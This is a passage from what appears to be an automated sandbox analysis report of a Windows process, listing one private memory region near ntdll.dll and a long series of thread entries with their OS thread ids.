"c:\\windows\\syswow64\\ntdll.dll") Region: id = 950 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Thread: id = 77 os_tid = 0x8 Thread: id = 78 os_tid = 0x38 Thread: id = 79 os_tid = 0x28 Thread: id = 80 os_tid = 0x40 Thread: id = 81 os_tid = 0xc8 Thread: id = 82 os_tid = 0xa0 Thread: id = 83 os_tid = 0x7c Thread: id = 84 os_tid = 0xc4 Thread: id = 85 os_tid = 0x2c Thread: id = 86 os_tid = 0xcc Thread: id = 87 os_tid = 0x44 Thread: id = 88 os_tid = 0x48 Thread: id = 89 os_tid = 0x34 Thread: id = 90 os_tid = 0x60 Thread: id = 91 os_tid = 0xd0 Thread: id = 92 os_tid = 0xc Thread: id = 93 os_tid = 0xbc Thread: id = 94 os_tid = 0xd4 Thread: id = 95 os_tid = 0xd8 Thread: id = 96 os_tid = 0xdc Thread: id = 97 os_tid = 0xe8 Thread: id = 98 os_tid = 0xec Thread: id = 99 os_tid = 0x0 Thread: id = 100 os_tid = 0x50 Thread: id = 101 os_tid = 0x4c Thread: id = 102 os_tid = 0x30 Thread: id = 103 os_tid = 0xfc Thread: id = 104 os_tid = 0x100 Thread: id = 105 os_tid = 0x104 Thread: id = 106 os_tid = 0x108 Thread: id = 107 os_tid = 0x84 Thread: id = 108 os_tid = 0x9c Thread: id = 109 os_tid = 0x90 Thread: id = 110 os_tid = 0x110 Thread: id = 111 os_tid = 0x88 Thread: id = 112 os_tid = 0x24 Thread: id = 113 os_tid = 0x64 Thread: id = 114 os_tid = 0x10c Thread: id = 115 os_tid = 0x6c Thread: id = 116 os_tid = 0xb4 Thread: id = 117 os_tid = 0x128 Thread: id = 118 os_tid = 0x12c Thread: id = 119 os_tid = 0x130 Thread: id = 120 os_tid = 0x134 Thread: id = 121 os_tid = 0x94 Thread: id = 122 os_tid = 0x138 Thread: id = 123 os_tid = 0x174 Thread: id = 124 os_tid = 0x78 Thread: id = 125 os_tid = 0x25c Thread: id = 126 os_tid = 0x8c Thread: id = 127 os_tid = 0x2c4 Thread: id = 128 os_tid = 0xc0 Thread: id = 129 os_tid = 0x398 Thread: id = 130 os_tid = 0x3e8 Thread: id = 131 os_tid = 0x448 Thread: id = 132 os_tid = 0x4a0 Thread: id = 133 os_tid = 0x4ac Thread: id = 134 os_tid = 0x508 Thread: id = 135 os_tid = 0x3ec Thread: id = 136 os_tid = 0x57c Thread: id = 137 os_tid = 0x598 Thread: id = 138 os_tid = 0x3f4 Thread: id = 139 os_tid = 0x5c8 Thread: id = 140 os_tid = 0x5dc Thread: id = 141 os_tid = 0x5f4 Thread: id = 142 os_tid = 0x600 Thread: id = 143 os_tid = 0x604 Thread: id = 144 os_tid = 0x608 Thread: id = 145 os_tid = 0x60c Thread: id = 146 os_tid = 0x20 Thread: id = 147 os_tid = 0x658 Thread: id = 148 os_tid = 0x98 Thread: id = 149 os_tid = 0x420 Thread: id = 150 os_tid = 0x1c4